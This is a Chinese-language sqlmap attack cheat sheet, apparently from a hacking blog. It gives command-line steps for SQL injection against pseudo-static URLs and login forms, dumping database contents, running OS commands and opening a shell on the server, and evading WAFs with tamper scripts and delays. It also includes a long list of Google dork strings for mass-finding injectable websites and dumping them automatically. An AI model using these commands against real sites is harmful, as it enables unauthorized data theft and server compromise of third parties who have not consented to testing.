伪静态注入
1.在存在注入的地方加上*,然后获取数据库
sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" --dbs
2.获取数据库中的表
sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -D 数据库名 --tables
3.获取数据库中的字段
sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -D 数据库名 -T 表名 --columns
4.获取字段的内容
sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -D 数据库名 -T 表名 -C "字段名1,字段名2" --dump
POST登陆框注入
1.burpsuite + sqlmap
利用burpsuite抓包保存为txt,利用sqlmap指定文本注入(使用方法请自行百度)
注入点:http://www.xx.com/Login.asp
sqlmap.py -r test.txt -p Password
2.自动注册表单,截取数据。(直接在后面加[--forms])
sqlmap -u "http://www.xx.com/Login.asp" --forms
3.指定参数
sqlmap.py -u "http://www.xx.com/Login.asp" --data "标签名1=数据1&标签名2=数据2&标签名3=数据3..."
注:填写的数据可以随意写,但标签名一定要与input标签中的name一致,不同的标签名对应不同的name
sqlmap -u "http://www.xx.com/Login.asp" --data "Username=1&Password=1"
注:Username与Password分别为Login.asp页面中的两个输入框的名字,将鼠标移动到输入框上面右击选择"审查元素"即可看到,每台网页的Login页面都不一定是一样的,渗透老鸟应该很容易懂。本人不才,可能解释的不太清楚。
交互写shell及命令执行
1.执行系统命令(windows系统): --os-cmd=ipconfig
sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --os-cmd=ipconfig
执行后根据提示选择网站语言
然后回车,指定目标站点根目录,然后继续回车即可完整执行命令
2.执行shell: --os-shell
sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --os-shell
执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行,也可起到提权的作用。
执行命令后会在网站根目录生成两个临时文件:tmpbxbxz.php tmpuoiuz.php(此文件为上传页面)
注意:需要有足够大的权限方可执行命令
查看网站权限
sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --privileg
注入点之Google搜索(附关键字)
利用Google Dorks字符串找到可注入的网站
使用谷歌爬注入点必须本机可以直接访问谷歌才能使用该语句,更改hosts文件即可访问谷歌。
sqlmap.py -g(g即为谷歌的意思) 加上搜索引擎的语言(即google关键字)
使用示例:
1.sqlmap.py -g "inurl:php?id="
2.sqlmap.py -g "inurl:php?id=" --dump-all --batch
google搜索注入点 自动跑出所有字段
3.sqlmap.py -g "inurl:关键字 intitle:关键字 intext:关键字......(批量注入关键字只要存在的,能扫描到的都可以自己构造,主要是看你怎么去运用)" --batch (后面的参数也一样 根据自身情况而定,可以自己构造,也可以继续摸索新的方法)
部分关键字(根据自己需要的去使用):
inurl:item_id=
inurl:review.php?id=
inurl:hosting_info.php?id=
inurl:newsid=
inurl:iniziativa.php?in=
inurl:gallery.php?id=
inurl:trainers.php?id=
inurl:curriculum.php?id=
inurl:rub.php?idr=
inurl:news-full.php?id=
inurl:labels.php?id=
inurl:view_faq.php?id=
inurl:news_display.php?getid=
inurl:story.php?id=
inurl:artikelinfo.php?id=
inurl:index2.php?option=
inurl:look.php?ID=
inurl:detail.php?ID=
inurl:readnews.php?id=
inurl:newsone.php?id=
inurl:index.php?=
inurl:top10.php?cat=
inurl:aboutbook.php?id=
inurl:profile_view.php?id=
inurl:newsone.php?id=
inurl:material.php?id=
inurl:category.php?id=
inurl:event.php?id=
inurl:opinions.php?id=
inurl:publications.php?id=
inurl:product-item.php?id=
inurl:announce.php?id=
inurl:fellows.php?id=
inurl:sql.php?id=
inurl:rub.php?idr=
inurl:downloads_info.php?id=
inurl:index.php?catid=
inurl:galeri_info.php?l=
inurl:prod_info.php?id=
inurl:news.php?catid=
inurl:tekst.php?idt=
inurl:shop.php?do=part&id=
inurl:index.php?id=
inurl:newscat.php?id=
inurl:productinfo.php?id=
inurl:news.php?id=
inurl:newsticker_info.php?idn=
inurl:collectionitem.php?id=
inurl:index.php?id=
inurl:rubrika.php?idr=
inurl:band_info.php?id=
inurl:trainers.php?id=
inurl:rubp.php?idr=
inurl:product.php?id=
inurl:buy.php?category=
inurl:offer.php?idf=
inurl:releases.php?id=
inurl:article.php?ID=
inurl:art.php?idm=
inurl:ray.php?id=
inurl:play_old.php?id=
inurl:title.php?id=
inurl:produit.php?id=
inurl:declaration_more.php?decl_id=
inurl:news_view.php?id=
inurl:pop.php?id=
inurl:pageid=
inurl:select_biblio.php?id=
inurl:shopping.php?id=
inurl:games.php?id=
inurl:humor.php?id=
inurl:productdetail.php?id=
inurl:page.php?file=
inurl:aboutbook.php?id=
inurl:post.php?id=
inurl:newsDetail.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:viewshowdetail.php?id=
inurl:gallery.php?id=
inurl:fiche_spectacle.php?id=
inurl:clubpage.php?id=
inurl:article.php?id=
inurl:communique_detail.php?id=
inurl:memberInfo.php?id=
inurl:show.php?id=
inurl:sem.php3?id=
inurl:section.php?id=
inurl:staff_id=
inurl:kategorie.php4?id=
inurl:theme.php?id=
inurl:newsitem.php?num=
inurl:news.php?id=
inurl:page.php?id=
inurl:readnews.php?id=
inurl:index.php?id=
inurl:shredder-categories.php?id=
inurl:top10.php?cat=
inurl:faq2.php?id=
inurl:tradeCategory.php?id=
inurl:historialeer.php?num=
inurl:show_an.php?id=
inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=
inurl:preview.php?id=
inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=
inurl:loadpsb.php?id=
inurl:transcript.php?id=
inurl:forum_bds.php?num=
inurl:opinions.php?id=
inurl:channel_id=
inurl:game.php?id=
inurl:spr.php?id=
inurl:aboutbook.php?id=
inurl:view_product.php?id=
inurl:pages.php?id=
inurl:preview.php?id=
inurl:newsone.php?id=
inurl:announce.php?id=
inurl:loadpsb.php?id=
inurl:sw_comment.php?id=
inurl:clanek.php4?id=
inurl:pages.php?id=
inurl:news.php?id=
inurl:participant.php?id=
inurl:avd_start.php?avd=
inurl:download.php?id=
inurl:event.php?id=
inurl:main.php?id=
inurl:product-item.php?id=
inurl:review.php?id=
inurl:sql.php?id=
inurl:chappies.php?id=
inurl:material.php?id=
inurl:read.php?id=
inurl:clanek.php4?id=
inurl:prod_detail.php?id=
inurl:announce.php?id=
inurl:viewphoto.php?id=
inurl:chappies.php?id=
inurl:article.php?id=
inurl:read.php?id=
inurl:person.php?id=
inurl:viewapp.php?id=
inurl:productinfo.php?id=
inurl:viewphoto.php?id=
inurl:showimg.php?id=
inurl:rub.php?idr=
inurl:view.php?id=
inurl:galeri_info.php?l=
inurl:website.php?id=
绕过WAF防火墙
注:此方法适用于在注入的时候出现频繁报错时或者可以确定网站有注入点的时候。
batch:要求不对目标写入
tamper:使用干预脚本
-v 3(3为等级)
注意:若不使用3等级无法继续下一步操作。
本人收集的脚本:
space2comment.py charunicodeencode.py charencode.py
space2morehash.py space2hash.py base64encode.py charencode.py
替换空格和关键字为"/*!0"脚本: halfversionedmorekeywords.py
获取当前数据库,使用脚本绕过WAF防火墙
sqlmap.py -u "http://www.xx.com/a.asp?id=123" -v 3 --dbs --batch --tamper "脚本"
示例1:sqlmap.py -u "http://www.xx.com/a.asp?id=123" -v 3 --dbs --batch --tamper "space2morehash.py"
示例2:sqlmap.py -u "http://www.xx.com/a.asp?id=123" -v 3 --dbs --batch --tamper "space2hash.py"
示例3:sqlmap.py -u "http://www.xx.com/a.asp?id=123" -v 3 --dbs --batch --tamper "base64encode.py"
示例4:sqlmap.py -u "http://www.xx.com/a.asp?id=123" -v 3 --dbs --batch --tamper "charencode.py"
请求延时(针对防火墙、web本身的保护程序等)
参数一:--delay 1(1秒) 表示延时1秒进行注入,1可根据自己情况更改
sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" --delay 1(1是时间,1秒,自己设置)
例:sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" --delay 1
参数二:-safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -safe-freq 20(20为次数,自己设定)
例:sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -safe-freq 3